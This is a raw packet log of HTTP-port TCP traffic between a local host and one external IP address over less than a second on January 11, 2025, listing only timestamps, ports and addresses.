Jan 11, 2025 03:53:57.138453007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138463974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138500929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.139758110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.146140099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.183811903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.183830976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.183842897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.183897018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.183971882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.184009075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.210715055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.215881109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.215898991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.215913057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.215956926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216038942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216052055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216063976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216075897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216101885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216383934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216394901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216437101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216507912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216520071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216546059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216551065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216557980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216567993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216579914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.216584921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.216613054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217214108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217227936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217238903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217250109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217259884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217263937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217272043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217278004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217303991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217874050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217886925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217897892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217910051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217921019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217931986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217936039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217941999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217952967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217962980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.217977047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.217993975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.218396902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.219084978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.219099998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.219151974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.221992016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.241079092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248099089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248121023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248132944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248152971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248186111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248265028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248275995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248292923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248300076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248589039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248601913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248614073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248625994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248650074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.248974085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248984098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.248994112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249002934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249028921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.249305964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249315977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249325037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249336004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249346018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.249347925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249357939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.249363899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.249402046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250020981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250031948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250041962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250051975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250061035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250067949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250077963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250086069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250087976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250097990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250122070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250145912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250945091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250956059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250966072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250977039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250987053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.250988960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.250997066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251002073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251008034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251018047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251028061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251029968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251038074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251045942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251080990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251916885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251929045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251940012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251950026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251960039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251960993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251970053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251976013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.251981974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.251992941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.252000093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.252032995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.252373934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.252871037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.252882004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.252892971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.252903938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.252916098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.252954006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.266212940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.272208929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272289991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272306919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272334099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.272450924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272461891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272483110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.272653103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.272697926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.304285049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304302931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304315090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304482937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304496050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304537058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.304698944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304712057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304722071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304724932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.304733038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.304738998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.304761887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305018902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305031061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305041075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305047035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305058002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305058002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305084944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305116892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305449963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305461884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305471897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305499077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305869102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305881977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305891991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305902958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305910110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305913925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305924892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305927992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305934906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305944920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305954933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.305955887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305977106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.305996895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.306669950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306682110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306693077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306703091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306714058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306724072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306734085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306734085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.306744099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306763887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.306770086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.306783915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.307596922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.307610035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.307621956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.307632923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.307657957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.307686090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.310364008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.336823940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.336843967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.336854935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.336956978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.336977959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.336990118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337038040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.337238073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337249994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337291956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.337402105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337414026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337419987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337430000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337443113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337454081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.337454081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.337477922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.337502003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.338049889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338083029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338093042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338104010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338114977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338125944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338129997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.338165998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.338606119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338618994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338629007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338639975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.338646889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.338669062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.339056969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339068890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339078903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339091063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339101076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339111090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339116096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.339122057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339133024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.339139938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.339183092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.339200974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.340068102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340087891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340097904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340104103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340114117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340125084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340135098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340145111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340156078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340161085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.340173960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.340221882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.341012001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341025114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341034889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341046095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341056108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341063023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.341067076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341078043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341084957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341094971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.341099024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.341109991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.341135979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.342026949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342041969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342052937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342063904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342075109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342083931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.342087030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342097998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342108965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.342114925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.342147112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.360788107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.360810995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.360822916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.360896111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.360929966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.360985041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.360999107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.361011028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.361031055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.392993927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393028021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393048048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393060923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393071890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393080950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393096924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393162012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393198967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393210888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393240929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393495083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393507004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393517971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393527985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393538952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393568039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393604994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393876076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393889904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393901110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393918037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393919945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393929958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.393938065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.393979073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.394454956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394468069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394479036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394490004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394501925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394510984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.394522905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.394547939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.395076990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395090103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395101070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395112038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395123005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395133018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395144939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395144939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.395154953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395165920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.395203114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.396034956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396049976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.396061897 CET	49704	80	192.168.2.5	193.143.1.205
